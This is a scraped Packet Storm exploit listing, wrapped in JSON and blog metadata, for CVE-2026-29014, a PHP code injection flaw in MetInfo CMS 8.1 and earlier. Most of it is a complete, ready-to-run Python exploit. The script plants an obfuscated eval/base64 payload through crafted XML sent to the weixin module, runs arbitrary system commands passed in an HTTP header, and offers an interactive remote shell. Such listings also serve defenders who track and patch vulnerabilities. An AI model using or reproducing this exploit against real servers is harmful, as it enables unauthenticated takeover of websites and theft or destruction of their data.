{“lastseen”:”2026-04-24T20:46:10″,”description”:”This Python script is a full remote code execution exploit suite targeting a vulnerability in MetInfo CMS versions 8.1 and below. The flaw resides in the weixin module handling logic, where improperly sanitized input allows PHP code injection via…”,”published”:”2026-04-24T00:00:00″,”modified”:”2026-04-24T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 MetInfo CMS 8.1 PHP Code Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:219760″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-29014″],”sourceData”:”==================================================================================================================================\\n | # Title : MetInfo CMS 8.1 PHP Code Injection RCE Exploit |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/github.com\/facebookincubator\/below |\\n ==================================================================================================================================\\n \\n [+] Summary : This Python script is a full remote code execution (RCE) exploit suite targeting a vulnerability in MetInfo CMS (\u2264 8.1), identified as CVE-2026-29014. \\n The flaw resides in the weixin module handling logic, where improperly sanitized input allows PHP code injection via crafted XML and HTTP parameters\/headers.\\n \\n \\n [+] POC : \\n \\n #!\/usr\/bin\/env python3\\n \\n import requests\\n import sys\\n import argparse\\n import base64\\n import re\\n import time\\n import random\\n import string\\n from urllib.parse import urljoin\\n from threading import Thread\\n import socket\\n import telnetlib\\n \\n import urllib3\\n urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\\n \\n BANNER = \\”\\”\\”\\n \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n \u2551 CVE-2026-29014 – MetInfo CMS PHP Code Injection by indoushka \u2551\\n \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n \\”\\”\\”\\n \\n \\n class MetInfoExploit:\\n def __init__(self, target_url, proxy=None, timeout=30, verbose=False):\\n self.target_url = target_url.rstrip(‘\/’)\\n self.timeout = timeout\\n self.verbose = verbose\\n self.session = requests.Session()\\n self.session.verify = False\\n self.vuln_path = \\”\/app\/system\/entrance.php\\”\\n self.params = {\\n ‘n’: ‘include’,\\n ‘m’: ‘module’,\\n ‘c’: ‘weixin’,\\n ‘a’: ‘doapi’\\n }\\n self.injection_header = None\\n self.webshell_url = None\\n \\n if proxy:\\n self.session.proxies = {‘http’: proxy, ‘https’: proxy}\\n \\n def log(self, msg, level=\\”[+]\\”):\\n if self.verbose or level in [\\”[+]\\”, \\”[!]\\”, \\”[-]\\”]:\\n print(f\\”{level} {msg}\\”)\\n \\n def trigger_cache_write(self):\\n \\”\\”\\”Trigger initial cache write\\”\\”\\”\\n self.log(\\”Triggering initial cache write…\\”)\\n \\n payload = ”’\\u003cx\\u003e\\n \\u003cMsgType\\u003eevent\\u003c\/MsgType\\u003e\\n \\u003cEvent\\u003eSCAN\\u003c\/Event\\u003e\\n \\u003cEventKey\\u003eadminlogin\\u0026#x26;..\/config\/tables\\u003c\/EventKey\\u003e\\n \\u003cFromUserName\\u003e{${eval(base64_decode($_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(67)]))}}{${die()}}\\u003c\/FromUserName\\u003e\\n \\u003c\/x\\u003e”’\\n \\n url = urljoin(self.target_url, self.vuln_path)\\n \\n try:\\n response = self.session.post(\\n url,\\n params=self.params,\\n data=payload,\\n headers={‘Content-Type’: ‘application\/xml’},\\n timeout=self.timeout\\n )\\n \\n return response.status_code == 200\\n \\n except requests.exceptions.RequestException:\\n return False\\n \\n def build_php_payload(self, cmd, php_func=’passthru’):\\n b64_cmd = base64.b64encode(cmd.encode()).decode()\\n php_code = f\\”chdir(‘..\/..’);print(‘_____’);{php_func}(base64_decode(‘{b64_cmd}’));print(‘_____’);\\”\\n return base64.b64encode(php_code.encode()).decode()\\n \\n def execute_command(self, cmd, php_func=’passthru’):\\n self.trigger_cache_write()\\n \\n b64_payload = self.build_php_payload(cmd, php_func)\\n self.injection_header = f\\”C: {b64_payload}\\”\\n \\n payload = ”’\\u003cx\\u003e\\n \\u003cMsgType\\u003eevent\\u003c\/MsgType\\u003e\\n \\u003cEvent\\u003eSCAN\\u003c\/Event\\u003e\\n \\u003cEventKey\\u003eadminlogin\\u0026#x26;Array\\u003c\/EventKey\\u003e\\n \\u003cFromUserName\\u003etest\\u003c\/FromUserName\\u003e\\n \\u003c\/x\\u003e”’\\n \\n url = urljoin(self.target_url, self.vuln_path)\\n \\n try:\\n response = self.session.post(\\n url,\\n params=self.params,\\n data=payload,\\n headers={\\n ‘Content-Type’: ‘application\/xml’,\\n ‘C’: self.injection_header\\n },\\n timeout=self.timeout\\n )\\n \\n if response.status_code == 200:\\n match = re.search(r’_____(.*?)_____’, response.text, re.DOTALL)\\n if match:\\n return match.group(1).strip()\\n return response.text.strip()\\n \\n except requests.exceptions.RequestException:\\n pass\\n \\n return None\\n \\n def check_vulnerability(self):\\n self.log(\\”Checking vulnerability…\\”)\\n \\n test = self.execute_command(\\”echo CVE_2026_29014_TEST\\”)\\n \\n if test and \\”CVE_2026_29014_TEST\\” in test:\\n self.log(\\”VULNERABLE!\\”, \\”[+]\\”)\\n return True\\n \\n self.log(\\”Not vulnerable\\”, \\”[-]\\”)\\n return False\\n \\n def interactive_shell(self):\\n while True:\\n try:\\n cmd = input(\\”shell# \\”).strip()\\n if cmd in [\\”exit\\”, \\”quit\\”]:\\n break\\n \\n result = self.execute_command(cmd)\\n print(result if result else \\”[no output]\\”)\\n \\n except KeyboardInterrupt:\\n break\\n \\n \\n def exploit_metinfo_rce(target_url, cmd=None, interactive=False,\\n proxy=None, verbose=False):\\n \\n exploit = MetInfoExploit(target_url, proxy, verbose=verbose)\\n \\n if not exploit.check_vulnerability():\\n return False\\n \\n if cmd:\\n print(exploit.execute_command(cmd))\\n return True\\n \\n if interactive:\\n exploit.interactive_shell()\\n \\n return True\\n \\n \\n def main():\\n parser = argparse.ArgumentParser()\\n parser.add_argument(‘-u’, ‘–url’, required=True)\\n parser.add_argument(‘-c’, ‘–command’)\\n parser.add_argument(‘-i’, ‘–interactive’, action=’store_true’)\\n parser.add_argument(‘–proxy’)\\n parser.add_argument(‘-v’, ‘–verbose’, action=’store_true’)\\n \\n args = parser.parse_args()\\n \\n print(BANNER)\\n \\n exploit_metinfo_rce(\\n target_url=args.url,\\n cmd=args.command,\\n interactive=args.interactive,\\n proxy=args.proxy,\\n verbose=args.verbose\\n )\\n \\n \\n if __name__ == \\”__main__\\”:\\n main()\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/219760″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/219760\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-24T20:46:10″,”description”:”This Python script is a full remote code execution exploit suite targeting a vulnerability in MetInfo CMS versions 8.1 and below. The flaw resides in…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-49290","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n